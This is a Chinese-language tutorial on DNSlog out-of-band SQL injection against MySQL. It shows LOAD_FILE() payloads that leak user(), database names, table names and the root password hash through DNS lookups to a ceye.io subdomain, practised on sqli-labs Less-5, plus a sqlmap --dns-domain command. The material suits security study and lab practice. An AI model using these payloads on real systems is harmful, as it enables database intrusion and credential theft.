原理
Dns在域名解析时会留下域名和解析ip的记录,利用这点我们可以使用Dnslog(日志)记录显示我们的注入结果。通过load_file()不仅可以查看本地文件,也可以访问远程共享文件。 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息
在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。
PS:DNSLOG注入需要有两个条件,1.SQL服务器能连接网络;2.开启了LOAD_FILE() 读取文件的函数
准备
mysql读入文件时 首先需要将secure_file_priv的默认值为null ,只需要在my.ini修改secure_file_priv=''
现在mysql就可以读入文件了
拥有一个dnslog 平台
CEYE - Monitor service for security testing
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
利用dnslog快速注入sqllabs-less5
payload
?id=-1' union select 1,load_file(concat('\\\\',user(),'.wws6im.ceye.io\\abc')),3--+
在获取 user()时,因为带@符号所以无法转换,可以尝试转为16进制
?id=-1' union select 1,load_file(concat('\\\\',hex(user()),'.wws6im.ceye.io\\abc')),3--+
解码后得到user
?id=-1' union select 1,load_file(concat('\\\\',database(),'.wws6im.ceye.io\\abc')),3--+
得到数据库
http://sqllabs/Less-5/?id=-1' union select 1,load_file(concat('\\\\',hex((select concat(table_name) from information_schema.tables where table_schema="security" limit 0,1)),'.wws6im.ceye.io\\abc')),3--+
得到表
sqlmap+dnslog
本地搭建dns服务器,我选择的是windows server2008
新建正向区域 Lzer0Kx.top
新建 注意这里的ip地址要选择sqlmap的ip地址
测试
新建条件转发器 这里的ip是攻击机也就是kali的ip
测试
sqlmap -u "http://192.168.56.1/Less-8/index.php?id=1" --technique=T --dns-domain "zero.top" --dbs